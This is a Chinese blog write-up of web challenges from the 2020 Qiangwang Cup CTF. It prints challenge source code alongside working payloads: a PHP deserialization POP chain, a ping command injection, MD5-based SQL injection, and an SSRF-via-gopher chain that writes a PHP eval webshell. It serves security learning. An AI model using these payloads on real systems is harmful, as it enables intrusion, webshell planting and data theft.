c1ay's blog

2020强网杯writeup

字数统计: 3.9k阅读时长: 19 min
2020/08/24 Share

没做出几道题,记录一下吧,周末两天的做题还是有收获的

强网先锋

web辅助

mark

题目直接给了源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}
?>

play.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
echo "FPX Champion\n";
}
else{
echo "The Shy unstoppable\n";
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>

common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>

主要代码及功能:
index.php接收传入的$_GET['username']$_GET['password']变量,创建player对象,经过serialize序列化后写入"caches/".md5($_SERVER['REMOTE_ADDR'])文件

play.php读取"caches/".md5($_SERVER['REMOTE_ADDR'])文件内容,将文件中序列化字符串进行反序列化,打印

class.php当中定义了一些类,并存在可利用的反序列化pop链

common.php主要对序列化和反序列化的数据流进行一些检查和处理

正常情况下,写入文件的序列化内容是不可控的,但是这里由于common.php当中的read函数会在字符串反序列化之前将序列化字符串当中的\0*\0替换为chr(0)."*".chr(0),从5个字符变成了3个字符,导致处理后的字符串在反序列化时,字符串属性值长度大于实际的长度,产生字符逃逸,导致之后的序列化字符串内容可控

字符逃逸测试,尝试将player的$admin属性值变成1,该值本来是不可控的,这里尝试通过字符逃逸将其变为可控

mark

传入:

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=";s:7:"\0*\0pass";s:3:"111";s:8:"\0*\0admin";i:1;}

可以看到$admin的值被改变为了1,输出FPX Champion

mark

文件当中的序列化字符串:

O:6:"player":3:{s:7:"\0*\0user";s:55:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:50:"";s:7:"\0*\0pass";s:3:"111";s:8:"\0*\0admin";i:1;}";s:8:"\0*\0admin";i:0;}

经过read函数处理后(为了方便表示,这里protected属性名中的不可见字符用0表示)

O:6:"player":3:{s:7:"0*0user";s:55:"0*00*00*00*00*00*00*00*00*00*00*0";s:7:"0*0pass";s:50:"";s:7:"0*0pass";s:3:"111";s:8:"0*0admin";i:1;}";s:8:"0*0admin";i:0;}

\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0

由长度55变为了

0*00*00*00*00*00*00*00*00*00*00*0长度33

";s:7:"0*0pass";s:50:"为逃逸的字符,长度为55-33,22

逃逸的字符之后的序列化字符串就变为可控内容了,可以通过$_GET[‘password’]构造可控的序列化字符串

php序列化字符串遇到}后完成反序列化,实际反序列化字符串为

O:6:"player":3:{s:7:"0*0user";s:55:"0*00*00*00*00*00*00*00*00*00*00*0";s:7:"0*0pass";s:50:"";s:7:"0*0pass";s:3:"111";s:8:"0*0admin";i:1;}


object(__PHP_Incomplete_Class)#1 (4) { ["__PHP_Incomplete_Class_Name"]=> string(6) "player" ["user":protected]=> string(55) "***********";s:7:"*pass";s:50:"" ["pass":protected]=> string(3) "111" ["admin":protected]=> int(1) }

根据class.php构造pop链

最终需要触发的地方为jungle对象的KS方法当中的system('cat /flag')->

jungle对象的__toString魔术方法刚好调用了KS方法->

__toString魔术方法在对象被当作字符串时触发,所以需要找到一个jungle对象有可能被当作字符串的位置->

在midsolo对象的Gank方法当中,使用了stristr字符串函数,如果将这里midsolo对象的$name属性设置为jungle对象,就可以触发jungle的__toString->

midsolo对象的__invoke魔术方法刚好调用了Gank方法,__invoke魔术方法在其对象被作为函数调用时触发->

很容易可以找到topsolo对象的TP方法,这里调用了$name(),如果将topsolo对象的$name属性设置为midsolo对象,就能触发midsolo的__invoke->

而刚好topsolo的__destruct调用了topsolo的TP方法,所以这里可以作为pop链的起点

构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
}
class midsolo{
protected $name="";
public function __construct($name = ""){
$this->name = new jungle();
}
}
class topsolo{
protected $name="";
public function __construct($name = ""){
$this->name = new midsolo();
}
}
$obj=new topsolo();
echo serialize($obj);
?>
O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}

修改payload

1、存在不可见字符,修改成

O:7:"topsolo":1:{S:7:"\00*\00name";O:7:"midsolo":1:{S:7:"\00*\00name";O:6:"jungle":1:{S:7:"\00*\00name";s:7:"Lee Sin";}}}

2、midsolo的__walkup方法要求$name必须为Yasuo,所以需要绕过__walkup方法
改为:

O:7:"topsolo":1:{S:7:"\00*\00name";O:7:"midsolo":2:{S:7:"\00*\00name";O:6:"jungle":1:{S:7:"\00*\00name";s:7:"Lee Sin";}}}

3、common.php当中的check函数要求序列化字符串当中不能存在name

把n改为\6e

O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}

最终传入

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:8:"\0*\0admin";i:1;S:7:"\00*\00\6eame";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}}

mark

访问play.php获取flag

mark

主动

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file("index.php");
if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}
system("ping -c 3 $_GET[ip]");
?>

preg_match检查$_GET["ip"]当中不能有flag字符串,直接用linux通配符就能绕过

http://xxx/?ip=1.1.1.1%20||%20cat%20fla*.php

mark

Funhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>

evel1这里本来想传入空数组去绕过的,因为hash函数参数为数组时会产生错误,导致hash运算结果为NULL,所以如果传入空数组的话两者就相等了,但是试了半天却发现不行

而下面的代码是可以的

mark

于是在这里卡了好久,最后才发现问题出在了哪

因为通过$_GET方式传入空数组和直接定义空数组是有区别的

通过$_GET方式传入数组,数组里有个默认的元素,内容为空字符串,所以即使_GET传入了空数组,但是其实这里的$_GET['hash1']并不是真正的空数组,而是array(1) { [0]=> string(0) "" },所以这里两者并不相等

在本地var_dump($_GET['hash1'])就知道了

mark

所以这里需要换一下思路

这里lelvel1要求$_GET["hash1"] != hash("md4", $_GET["hash1"])

而php弱类型当中还有一个特性是"0e\d+"=="0e\d+"的结果是为true的,因为两个字符串都以0e开头且后面的字符均为数字,php在通过==比较时会将两个字符串都转为科学计数法,于是两个结果都是0,所以相等

mark

那么这里需要找一个字符串,符合以下条件的:

1、字符串需要以0e开头,且之后的字符都是数字

2、该字符串md4后的结果也需要为0e开头,且后面均为数字

这样只能爆破了,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$hash = '0e612198634316944013585621061115';
for ($i=1; $i<100000000000; $i++) {
if (hash("md4","0e". $i) == $hash) {
echo $i;
break;
}
}
echo ' done';

十几分钟就爆破成功了

mark

得到符合条件的字符串:0e251288019

mark

level2比较简单,$_GET['hash2']$_GET['hash3']均为空数组即可绕过

level3接收参数拼接SQL语句,直接查询flag,语句如下

"SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'"

需要 md5($_GET["hash4"],true)可控,这里的true返回的是md5后的二进制数据

找到了一篇文章,文章中提到了一个神奇的字符串:ffifdyop,该字符串md5(xxx,true)后的结果为''or'二进制数据',导致可以注入查询所有内容

文章连接:
https://blog.csdn.net/solitudi/article/details/107813286

mark

所以最终结果为:

http://xxx/index.php?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

获取flag

mark

Web

half_infiltration(赛后做出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);
$flag=file_get_contents('ssrf.php');
class Pass
{
function read()
{
ob_start();
global $result;
print $result;
}
}
class User
{
public $age,$sex,$num;
function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}
if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}

第一步需要读出ssrf.php,在这卡了好久

首先:

尝试传入x=O:4:"User":3:{s:3:"age";O:4:"Pass":0:{}s:3:"sex";s:4:"read";s:3:"num";s:6:"result";}

过程如下:

触发User对象的__destruct方法,从而调用Pass对象的read方法,ob_start()开启缓冲区,这时global $result结果为NULL,print $result的内容被输入到缓冲区,接着将ssrf.php的内容通过$GLOBALS['flag']写入$resultob_end_clean()清空并关闭缓冲区

可以看到整个过程是不会有任何输出的,所以这里如果想输出ssrf.php文件的内容,需要突破两个限制:

1、如何再次调用一次$student->$boy()

2、如何在再次调用$student->$boy()时绕过后面的ob_end_clean()

构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Pass
{
}
class User
{
public $age,$sex,$num;
function __construct($num="result")
{
$this->age=new Pass();
$this->sex="read";
$this->num=$num;
}
}
$a=arrar(new User(),new User("this"));
echo serialize($a);
?>

1、通过两次反序列化可以再次调用$student->$boy()
2、第二次反序列化时,将$num属性设置为this,使其在global $$a的位置报错,导致程序终止,这样ob_end_clean()就不会执行了,于是就可以输出第一次反序列化经过$GLOBALS['flag']设置后的$result

传入

x=a:2:{i:0;O:4:"User":3:{s:3:"age";O:4:"Pass":0:{}s:3:"sex";s:4:"read";s:3:"num";s:6:"result";}i:1;O:4:"User":3:{s:3:"age";O:4:"Pass":0:{}s:3:"sex";s:4:"read";s:3:"num";s:4:"this";}}

mark

获取ssrf.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}
if($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
}
?>

根据源码提示对本机35000-50000的端口进行探测,发现40000端口存在应用

mark

mark

根据题目的提示和页面源码

mark

这里需要使用gopher协议通过POST传递一些参数过去

/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%253a%2520127.0.0.1%253a40000%250d%250aContent-Type%253a%2520application%252fx-www-form-urlencoded%250d%250aContent-Length%253a%252022%250d%250a%250d%250afile%3d11.txt%26content%3d11

mark

经过测试是写到了uploads/sessionid/$_POST['file']这个文件里面

mark

写shell的时候有点坑

经过多次尝试,最终通过php://filter协议base64二次编码可以写入成功

写入shell内容:

1
<?php @eval($_GET[1]);//1

payload

/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%253a%2520127.0.0.1%253a40000%250d%250aContent-Type%253a%2520application%252fx-www-form-urlencoded%250d%250aContent-Length%253a%2520136%250d%250a%250d%250afile%253dphp%253a//filter/convert.base64-decode%257cconvert.base64-decode/resource%253dread.php%2526content%253dUEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiTVYwcE95OHZNUT09

读取flag

/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://127.0.0.1:40000/uploads/41i9gt47v4bkahds3n47m1spn4/read.php?1=system('cat%2520/fla*');

因为we_have_done_ssrf_here_could_you_help_to_continue_it当中不能有flag字符,用linux通配符绕过

mark

读取内网系统的index.php看看过滤了什么

/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://127.0.0.1:40000/uploads/41i9gt47v4bkahds3n47m1spn4/read.php?1=system('cat%2520../../index.php');

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
#ini_set('display_errors', 'on');
session_start();
include('del.php');
$upload_dir = sprintf("./uploads/%s/", session_id());
$id=session_id();
@mkdir($upload_dir, 0755, true);
chdir($upload_dir);
ini_set('open_basedir', '.');
foreach (glob(getcwd().'/*') as $file) {
if (is_file($file)) {
unlink($file);
}
else {
if (time() - filemtime($file) >= 200) {
Delete($file);
}
}
}
$data = "";
$filename = "";
if (isset($_POST['file']) ) {
$filename = $_POST['file'];
if(stripos($filename, '..') === false &&stripos($filename, 'BE') === false&&stripos($filename, 'write') === false&&stripos($filename, 'zlib') === false&&stripos($filename, 'sto') === false){
if (isset($_POST['content'])) {
$data = $_POST['content'];
if (stripos($data, '`') === false &&stripos($data, 'll') === false &&stripos($data, 'PD8') === false &&stripos($data, '-') === false&&stripos($data, 'ww') === false && stripos($data, '6') === false&&stripos($data, '7') === false&&stripos($data, 'rm') === false && stripos($data, 'mr') === false &&stripos($data, 'sy') === false &&stripos($data, 'ys') === false &&stripos($data, 'ph') === false&&stripos($data, 'Pz4=') === false && stripos($data, '<?') === false && stripos($data, 'PD9wa') === false && stripos($data, 'script') === false&&stripos($data, '=') === false) {
file_put_contents($filename, $data);
}
}
}
else
{
die("error");
}
}
?>

可以看到过滤了很多字符,其中包括PD9wa,这也是为什么要进行二次base64编码的原因,因为如果对<?php xxx?>进行一次base64编码,结果一定是PD9wa开头的,导致写不进去,另外还过滤了很多字符,需要多次尝试才能写入

其实这道题通过一次base64编码也是可以写进去的

mark

1<?php @eval($_GET[1]);//aa这段php代码经过一次base64后也不会出现不允许的字符

一次base64写入

/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%253a%2520127.0.0.1%253a40000%250d%250aContent-Type%253a%2520application%252fx-www-form-urlencoded%250d%250aContent-Length%253a%2520102%250d%250a%250d%250afile%253dphp%253a//filter/convert.base64-decode/resource%253dread.php%2526content%253dMTw%252fcGhwIEBldmFsKCRfR0VUWzFdKTsvL2Fh

mark

也可以成功获取flag

mark

但是做题的时候并不知道这个黑名单,也很难想到

###

CATALOG
  1. 1. 强网先锋
    1. 1.0.1. web辅助
    2. 1.0.2. 主动
    3. 1.0.3. Funhash
  • 2. Web
    1. 2.0.1. half_infiltration(赛后做出)